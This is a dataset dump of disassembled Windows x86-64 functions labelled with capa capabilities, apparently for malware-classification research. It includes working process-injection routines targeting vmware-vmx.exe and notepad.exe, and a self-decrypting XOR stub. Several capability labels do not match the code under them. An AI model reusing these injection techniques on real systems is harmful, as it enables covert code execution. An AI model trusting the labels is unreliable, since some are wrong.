joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1401a2e60
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov rbx, rcx
mov ebp, 0x7ff
movzx ecx, word [rcx + 6]
mov esi, edx
shr cx, 4
and cx, bp
cmp cx, bp
jne 0x1401a2ec1
test byte [rbx + 6], 0xf
jne 0x1401a2eb4
xor edi, edi
cmp word [rbx + 4], di
jne 0x1401a2eb4
cmp word [rbx + 2], di
jne 0x1401a2eb4
cmp word [rbx], di
jne 0x1401a2eb4
lea esi, [rdi + 1]
jmp 0x1401a2eb9
mov esi, 2
movzx eax, si
jmp 0x1401a30b9
xor edi, edi
test cx, cx
jne 0x1401a2edc
mov rcx, rbx
call fcn.1401a330c
movzx ecx, ax
cmp di, ax
jl 0x1401a30b6
movsx edx, cx
test esi, esi
jle 0x1401a2f0c
sub ebp, edx
cmp ebp, esi
jg 0x1401a2f0c
movsd xmm0, qword [0x140200430]
cmp word [rbx + 6], di
jge 0x1401a2efe
xorps xmm0, xmmword [0x140276530]
movsd qword [rbx], xmm0
mov eax, 1
jmp 0x1401a30b9
movzx r11d, word [rbx + 6]
mov eax, edx
neg eax
cmp eax, esi
jge 0x1401a2f39
add si, cx
mov eax, 0x800f
shl si, 4
and r11w, ax
or si, r11w
mov word [rbx + 6], si
or eax, 0xffffffff
jmp 0x1401a30b9
movzx r15d, r11w
lea ebp, [rsi - 1]
and r11w, 0xf
mov r13d, 0x8000
mov r12d, select
and r15w, r13w
or r11w, r12w
add ebp, edx
cmp ebp, 0xffffffcb
jl 0x1401a30ab
test ebp, ebp
jns 0x1401a30ab
lea esi, [r12 - 0xf]
movzx r14d, di
cmp bp, 0xfff0
jg 0x1401a2fce
movzx edx, word [rbx + 4]
mov eax, 0xfff0
movzx r8d, word [rbx + 2]
sub ax, bp
shr ax, 4
add ax, si
movzx ecx, ax
movzx eax, cx
shl ax, 4
add bp, ax
test r14w, r14w
mov eax, edi
setne al
movzx r14d, ax
or r14w, word [rbx]
mov word [rbx], r8w
movzx r8d, dx
movzx edx, r11w
mov r11d, edi
sub rcx, rsi
jne 0x1401a2fa0
mov word [rbx + 4], dx
mov word [rbx + 2], r8w
neg bp
je 0x1401a304d
movzx r8d, word [rbx]
mov eax, edi
movzx r9d, word [rbx + 2]
movzx edx, r8w
movsx r10d, bp
sub r12d, r10d
mov ecx, r12d
shl dx, cl
test r14w, r14w
movzx r14d, dx
movzx edx, word [rbx + 4]
setne al
or r14w, ax
movzx eax, r9w
shl ax, cl
movzx ecx, bp
shr r8w, cl
mov ecx, r12d
or ax, r8w
mov word [rbx], ax
movzx eax, dx
shl ax, cl
movzx ecx, bp
shr r9w, cl
mov ecx, r12d
or ax, r9w
mov word [rbx + 2], ax
movzx eax, r11w
shl ax, cl
movzx ecx, bp
shr dx, cl
mov ecx, r10d
or ax, dx
mov word [rbx + 4], ax
shr r11w, cl
or r11w, r15w
mov word [rbx + 6], r11w
cmp r13w, r14w
jb 0x1401a3063
jne 0x1401a3082
test byte [rbx], sil
je 0x1401a3082
add word [rbx], si
jne 0x1401a3082
add word [rbx + 2], si
jne 0x1401a3082
add word [rbx + 4], si
jne 0x1401a3082
add r11w, si
mov word [rbx + 6], r11w
jmp 0x1401a2f31
cmp r11w, r15w
jne 0x1401a2f31
cmp word [rbx + 4], di
jne 0x1401a2f31
cmp word [rbx + 2], di
jne 0x1401a2f31
movzx eax, word [rbx]
neg ax
sbb ax, ax
jmp 0x1401a30b9
mov word [rbx + 6], r15w
mov dword [rbx + 2], edi
mov word [rbx], di
movzx eax, di
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x15a0860
Capabilities:
Encode data using xor

Disassembly:
jmp 0x15a086a
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x15a0893
pop rbp
sub rbp, 0x33
sub rbp, 0x11a0860
sub rsp, 0x20
jmp 0x15a08b2
mov rax, 0x11a0860
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0xffffffff81791ad3
xor byte [rax], dl
inc rax
dec rcx
jne 0x15a08d1
jmp 0x15a08e8
wait
pop rdx
cmp bl, byte [rax + 0x5a]
out dx, eax
rcl ebx, cl
rcr dword [rbx - 0x2d24edae], cl
rcl ebx, cl
wait
sar byte [rdx], cl
wait
adc al, 0x13
xlatb
rcl ebx, cl
rcr dword [rbx - 0x2c04eeec], cl
rcl ebx, cl
wait
and al, 0x31
wait
rcl byte [rdx], cl
pop rax
push rdx
invalid
Function at 0x1400291bc
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001c7b4
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001c7b4
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x14002930c
cmp rax, 0xffffffffffffffff
je 0x14002930c
xor edi, edi
test rbp, rbp
jle 0x1400292b7
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001f0c8
mov rbx, rax
test rax, rax
jne 0x140029244
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1400292ad
mov edx, 0x8000
mov ecx, r14d
call fcn.14001a0e8
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001d490
cmp eax, 0xffffffff
je 0x14002928d
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140029254
mov edx, r15d
mov ecx, r14d
call fcn.14001a0e8
jmp 0x1400292ad
cmp byte [rsi + 0x38], dil
je 0x1400292a4
cmp dword [rsi + 0x34], 5
jne 0x1400292a4
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x1400292ad
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14001ae7c
jmp 0x140029320
jns 0x140029320
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001c7b4
cmp rax, 0xffffffffffffffff
jne 0x1400292d8
cmp byte [rsi + 0x30], dil
je 0x140029320
mov edi, dword [rsi + 0x2c]
jmp 0x140029320
mov ecx, r14d
call fcn.1400185a0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140029320
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140029320
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140029319
mov eax, dword [rsi + 0x2c]
jmp 0x14002931e
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001c7b4
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x140001910
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000195a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000195a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000195a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000195a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000195a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000195c
xor al, al
add rsp, 0x28
ret
Function at 0x1400011a0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov byte [rsp + 0x10], dl
mov byte [rsp + 8], cl
sub rsp, 0x48
movsx eax, byte [rsp + 0x58]
test eax, eax
je 0x1400011c4
mov dword [rsp + 0x30], 0xfffffff4
jmp 0x1400011cc
mov dword [rsp + 0x30], 0xfffffff5
mov ecx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x34], 0
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x34]
mov r8d, eax
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_WriteFile]
movsx eax, byte [rsp + 0x50]
test eax, eax
je 0x14000123e
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x34]
mov r8d, 1
lea rdx, section..data
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_WriteFile]
add rsp, 0x48
ret
Function at 0x1400013c0
Capabilities:
Create thread
Inject thread

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x88
mov dword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov dword [rsp + 0x44], 0
mov qword [rsp + 0x70], 0
mov edx, dword [rsp + 0x98]
lea rcx, str.______Injecting_vmware_vmx__PID__lu_______
call fcn.140001270
mov r8d, dword [rsp + 0x98]
xor edx, edx
mov ecx, 0x102a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x14000145b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.OpenProcess___error__lu.
call fcn.140001270
jmp 0x140001579
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8d, 0x104
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jne 0x1400014a2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.VirtualAllocEx___error__lu.
call fcn.140001270
jmp 0x140001579
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cdqe
shl rax, 1
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x60]
mov r8, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400014fb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.WriteProcessMemory___error__lu.
call fcn.140001270
jmp 0x140001579
lea rax, [rsp + 0x44]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x20], rax
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x140001551
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateRemoteThread___error__lu.
call fcn.140001270
jmp 0x140001579
mov edx, dword [rsp + 0x44]
lea rcx, str.Waiting_remote_thread__TID__lu__to_end...
call fcn.140001270
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x40], 1
cmp qword [rsp + 0x48], 0
je 0x1400015ad
cmp qword [rsp + 0x50], 0
je 0x1400015a2
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x40], 0
je 0x1400015c2
lea rax, str.Success
mov qword [rsp + 0x68], rax
jmp 0x1400015ce
lea rax, str.Failed
mov qword [rsp + 0x68], rax
mov rdx, qword [rsp + 0x68]
lea rcx, str.______Inject__s______
call fcn.140001270
mov eax, dword [rsp + 0x40]
add rsp, 0x88
ret
Function at 0x1400016b0
Capabilities:
Enumerate processes

Disassembly:
push rdi
sub rsp, 0x480
lea rax, [rsp + 0x270]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
mov qword [rsp + 0x20], 0
mov dword [rsp + 0x30], 0x238
lea rax, [rsp + 0x34]
mov rdi, rax
xor eax, eax
mov ecx, 0x234
rep stosb byte [rdi], al
lea rcx, [rsp + 0x270]
call fcn.1400015f0
call fcn.1400012f0
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140001731
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateToolhelp32Snapshot___error__lu.
call fcn.140001270
jmp 0x14000178b
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140001780
lea rdx, str.vmware_vmx.exe
lea rcx, [rsp + 0x5c]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x14000176c
mov edx, dword [rsp + 0x38]
lea rcx, [rsp + 0x270]
call fcn.1400013c0
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001745
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x480
pop rdi
ret

Function at 0x1400017a0
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
lea rcx, str.Press_any_key_when_ready.
call fcn.140001250
call section..text
call fcn.1400016b0
lea rcx, str.Press_any_key_to_exit.
call fcn.140001250
call section..text
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x1400111e5
Capabilities:
Enumerate processes

Disassembly:
jmp 0x140011830
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x428
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xa2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x448]
mov rax, qword [0x14001e180]
xor rax, rbp
mov qword [rbp + 0x3f8], rax
lea rcx, [0x1400240a3]
call fcn.1400113b1
mov qword [rbp + 8], 0
mov dword [rbp + 0x30], 0x238
lea rax, [rbp + 0x34]
mov rdi, rax
xor eax, eax
mov ecx, 0x234
rep stosb byte [rdi], al
xor edx, edx
mov ecx, 2
call fcn.1400111b8
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x1400118cc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateToolhelp32Snapshot_Failed_With_Error_:__d__n
call fcn.1400111ae
xor eax, eax
jmp 0x140011942
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 8]
call fcn.140011249
test eax, eax
je 0x14001192f
lea rdx, [rbp + 0x5c]
mov rcx, qword [rbp + 0x420]
call qword [sym.imp.ucrtbased.dll_wcscmp]
test eax, eax
jne 0x14001191e
mov r8d, dword [rbp + 0x38]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rcx, qword [rbp + 0x428]
mov qword [rcx], rax
mov edx, dword [rbp + 0x38]
lea rcx, str.___Found_Target_Process_At_:__d__n
call fcn.1400111ae
jmp 0x14001192f
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 8]
call fcn.140011366
test eax, eax
jne 0x1400118dd
cmp qword [rbp + 0x428], 0
je 0x140011940
mov eax, 1
jmp 0x140011942
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001ac80]
call fcn.140011343
mov rax, rdi
mov rcx, qword [rbp + 0x3f8]
xor rcx, rbp
call fcn.1400111cc
lea rsp, [rbp + 0x408]
pop rdi
pop rbp
ret

Function at 0x140011217
Capabilities:
Terminate process

Disassembly:
jmp 0x140013340
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140011299
Capabilities:
Create thread
Resume thread

Disassembly:
jmp 0x140016080
push rbp
push rdi
sub rsp, 0x1a8
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x2a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001e180]
xor rax, rbp
mov qword [rbp + 0x158], rax
lea rcx, [0x1400240a3]
call fcn.1400113b1
lea rax, str.notepad.exe
mov qword [rbp + 8], rax
lea rdx, [rbp + 0x28]
mov rcx, qword [rbp + 8]
call fcn.1400111e5
test eax, eax
je 0x140016195
lea r9, [rbp + 0x48]
mov r8d, 0x115
lea rdx, section..data
mov rcx, qword [rbp + 0x28]
call fcn.14001114a
mov rdx, qword [rbp + 0x48]
lea rcx, str.___Mapped_Address_:_0x_p__n
call fcn.1400111ae
lea rcx, str._i__Press__Enter__To_Execute_...
call fcn.1400111ae
call qword [sym.imp.ucrtbased.dll_getchar]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], 0
lea r9, [0x140011429]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
jne 0x14001616c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateRemoteThread_Failed_With_Error_:__d__n
call fcn.1400111ae
xor eax, eax
jmp 0x14001619b
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x88], rax
xor r8d, r8d
mov rdx, qword [rbp + 0x68]
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x140016199
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001ad50]
call fcn.140011343
mov rax, rdi
mov rcx, qword [rbp + 0x158]
xor rcx, rbp
call fcn.1400111cc
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret

Function at 0x1400112a3
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014690
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400146b0
xor al, al
jmp 0x140014731
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400146c3
xor al, al
jmp 0x140014731
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400146ed
xor al, al
jmp 0x140014731
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014701
xor al, al
jmp 0x140014731
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014713
xor al, al
jmp 0x140014731
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001472f
xor al, al
jmp 0x140014731
mov al, 1
add rsp, 0x38
ret
Function at 0x140016960
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
mov esi, dword [rcx + 0x264]
mov eax, edx
sar eax, 7
and edx, 0x7f
cdqe
mov edi, dword [rcx + rax*4]
mov r8, rax
shl r8, 4
lea r10, [0x142239ec0]
mov rax, qword [r8 + r10]
xor rax, qword [rcx + 0x170]
mov r8, qword [r8 + r10 + 8]
xor r8, qword [rcx + 0x178]
shl rdx, 4
mov r9, qword [rdx + r10]
mov r10, qword [rdx + r10 + 8]
or r8, r10
or rax, r9
not edi
mov r11, rsi
xor r11, 1
test dil, 7
je 0x140016b05
shl rsi, 4
vmovdqa xmm0, xmmword [rcx + 0x1a0]
vmovdqa xmm1, xmmword [rcx + 0x1b0]
vmovdqa xmm2, xmmword [rcx + 0x1e0]
vpand xmm3, xmm2, xmmword [rcx + rsi + 0x1f0]
vmovdqa xmm4, xmmword [rcx + 0x1c0]
vmovq rdx, xmm3
vpextrq rsi, xmm3, 1
tzcnt rdi, rdx
tzcnt rsi, rsi
or rsi, 0x40
test rdx, rdx
cmovne rsi, rdi
mov edx, r11d
imul r11, rdx, 0x5a0
lea rdi, [0x142202cf0]
add rdi, r11
shl rsi, 4
lea r11, [rsi + rsi*2]
lea rbx, [0x142206530]
mov r14, qword [rbx + r11 + 0x20]
pext r15, r8, qword [rbx + r11 + 8]
movzx r12d, byte [rbx + r11 + 0x28]
shlx r15, r15, r12
pext rbx, rax, qword [rbx + r11]
or ebx, r15d
shl rbx, 4
vpand xmm3, xmm4, xmmword [r14 + rbx]
vpternlogq xmm3, xmm1, xmmword [rsi + rdi], 0xf8
lea rsi, [0x1400f4330]
mov rdi, qword [rsi + r11 + 0x20]
pext rbx, r8, qword [rsi + r11 + 8]
movzx r14d, byte [rsi + r11 + 0x28]
shlx rbx, rbx, r14
pext rsi, rax, qword [rsi + r11]
or esi, ebx
shl rsi, 4
vpor xmm1, xmm2, xmmword [rcx + 0x180]
vpternlogq xmm1, xmm3, xmmword [rdi + rsi], 0xec
lea rsi, [0x1400f7080]
mov rdi, qword [rsi + r11 + 0x20]
pext r8, r8, qword [rsi + r11 + 8]
movzx ebx, byte [rsi + r11 + 0x28]
shlx r8, r8, rbx
pext rax, rax, qword [rsi + r11]
or eax, r8d
shl rax, 4
vpand xmm0, xmm0, xmmword [rdi + rax]
shl rdx, 4
vpternlogq xmm0, xmm1, xmmword [rcx + rdx + 0x1f0], 0xa8
vmovq rcx, xmm0
vpextrq rax, xmm0, 1
andn rax, r10, rax
andn rcx, r9, rcx
or rcx, rax
sete al
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
imul r9, r11, 0x5a0
lea r10, [0x142202cf0]
add r10, r9
lea r9, [rdx + rdx*2]
lea rsi, [0x142206530]
mov rdi, qword [rsi + r9 + 0x20]
pext rbx, r8, qword [rsi + r9 + 8]
movzx r14d, byte [rsi + r9 + 0x28]
shlx rbx, rbx, r14
pext rsi, rax, qword [rsi + r9]
or ebx, esi
shl rbx, 4
vmovdqa xmm0, xmmword [rcx + 0x180]
vmovdqa xmm1, xmmword [rcx + 0x1a0]
vmovdqa xmm2, xmmword [rcx + 0x1b0]
vmovdqa xmm3, xmmword [rcx + 0x1c0]
vpand xmm3, xmm3, xmmword [rdi + rbx]
vpternlogq xmm3, xmm2, xmmword [rdx + r10], 0xf8
lea rdx, [0x1400f4330]
mov r10, qword [rdx + r9 + 0x20]
pext rsi, r8, qword [rdx + r9 + 8]
movzx edi, byte [rdx + r9 + 0x28]
shlx rsi, rsi, rdi
pext rdx, rax, qword [rdx + r9]
or esi, edx
shl rsi, 4
vpor xmm0, xmm0, xmmword [rcx + 0x1e0]
vpternlogq xmm0, xmm3, xmmword [r10 + rsi], 0xec
lea rdx, [0x1400f7080]
mov r10, qword [rdx + r9 + 0x20]
pext r8, r8, qword [rdx + r9 + 8]
movzx esi, byte [rdx + r9 + 0x28]
shlx r8, r8, rsi
pext rax, rax, qword [rdx + r9]
or r8d, eax
shl r8, 4
vpand xmm1, xmm1, xmmword [r10 + r8]
shl r11, 4
vpternlogq xmm1, xmm0, xmmword [rcx + r11 + 0x1f0], 0xa8
vpextrq rax, xmm1, 1
vmovq rcx, xmm1
jmp 0x140016af5
Function at 0x140025480
Capabilities:
Create thread

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x30
mov rsi, r8
mov rdi, rdx
mov rbx, rcx
mov ecx, 0x10
call fcn.1400280b0
mov qword [rax], rdi
mov qword [rax + 8], rsi
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r8, [0x140086c20]
xor ecx, ecx
xor edx, edx
mov r9, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbx], rax
test rax, rax
je 0x1400254d8
xor eax, eax
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.KERNEL32.dll_GetLastError]
Function at 0x140025f60
Capabilities:
Encode data using base64

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rdi, rdx
mov rsi, rcx
mov r8, qword [rcx + 0x10]
cmp r8, qword [rcx + 0x18]
je 0x140025f92
mov rax, qword [rdi]
mov qword [r8], rax
add qword [rsi + 0x10], 8
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov rax, qword [rsi]
mov rdx, qword [rsi + 8]
mov rcx, rdx
sub rcx, rax
jbe 0x140025ff1
sar rcx, 3
lea rax, [rcx + 1]
shr rax, 0x3f
add rax, rcx
inc rax
sar rax, 1
mov r15, rax
neg r15
shl rax, 3
mov rbx, rdx
sub rbx, rax
mov r14, r8
sub r14, rdx
je 0x140025fdd
mov rcx, rbx
mov r8, r14
call fcn.1400c6190
mov r8, qword [rsi + 8]
add rbx, r14
mov qword [rsi + 0x10], rbx
lea rax, [r8 + r15*8]
mov qword [rsi + 8], rax
mov r8, rbx
jmp 0x140025f7b
mov rcx, r8
sub rcx, rax
sar rcx, 2
cmp r8, rax
mov ebx, 1
cmovne rbx, rcx
mov rax, rbx
shr rax, 0x3d
jne 0x14002608e
lea rcx, [rbx*8]
call fcn.1400280b0
mov rcx, rbx
and rcx, 0xfffffffffffffffc
lea rdx, [rax + rcx*2]
mov rcx, qword [rsi + 8]
mov r11, qword [rsi + 0x10]
lea r9, [rax + rbx*8]
mov r8, rdx
sub r11, rcx
je 0x140026065
mov r10, r11
sar r10, 3
and r11, 0xfffffffffffffff8
mov r8, r11
add r8, rdx
shl r10, 3
xor r11d, r11d
mov rbx, qword [rcx + r11]
mov qword [rdx + r11], rbx
add r11, 8
cmp r10, r11
jne 0x140026054
mov rcx, qword [rsi]
mov qword [rsi], rax
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], r8
mov qword [rsi + 0x18], r9
test rcx, rcx
je 0x140025f7b
call fcn.140021f70
mov r8, qword [rsi + 0x10]
jmp 0x140025f7b
call fcn.14002cf30
int3

Function at 0x1400260a0
Capabilities:
Encode data using base64

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rdi, rdx
mov rsi, rcx
mov r8, qword [rcx + 0x10]
cmp r8, qword [rcx + 0x18]
je 0x1400260d2
mov rax, qword [rdi]
mov qword [r8], rax
add qword [rsi + 0x10], 8
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov rax, qword [rsi]
mov rdx, qword [rsi + 8]
mov rcx, rdx
sub rcx, rax
jbe 0x140026131
sar rcx, 3
lea rax, [rcx + 1]
shr rax, 0x3f
add rax, rcx
inc rax
sar rax, 1
mov r15, rax
neg r15
shl rax, 3
mov rbx, rdx
sub rbx, rax
mov r14, r8
sub r14, rdx
je 0x14002611d
mov rcx, rbx
mov r8, r14
call fcn.1400c6190
mov r8, qword [rsi + 8]
add rbx, r14
mov qword [rsi + 0x10], rbx
lea rax, [r8 + r15*8]
mov qword [rsi + 8], rax
mov r8, rbx
jmp 0x1400260bb
mov rcx, r8
sub rcx, rax
sar rcx, 2
cmp r8, rax
mov ebx, 1
cmovne rbx, rcx
mov rax, rbx
shr rax, 0x3d
jne 0x1400261ce
lea rcx, [rbx*8]
call fcn.1400280b0
mov rcx, rbx
and rcx, 0xfffffffffffffffc
lea rdx, [rax + rcx*2]
mov rcx, qword [rsi + 8]
mov r11, qword [rsi + 0x10]
lea r9, [rax + rbx*8]
mov r8, rdx
sub r11, rcx
je 0x1400261a5
mov r10, r11
sar r10, 3
and r11, 0xfffffffffffffff8
mov r8, r11
add r8, rdx
shl r10, 3
xor r11d, r11d
mov rbx, qword [rcx + r11]
mov qword [rdx + r11], rbx
add r11, 8
cmp r10, r11
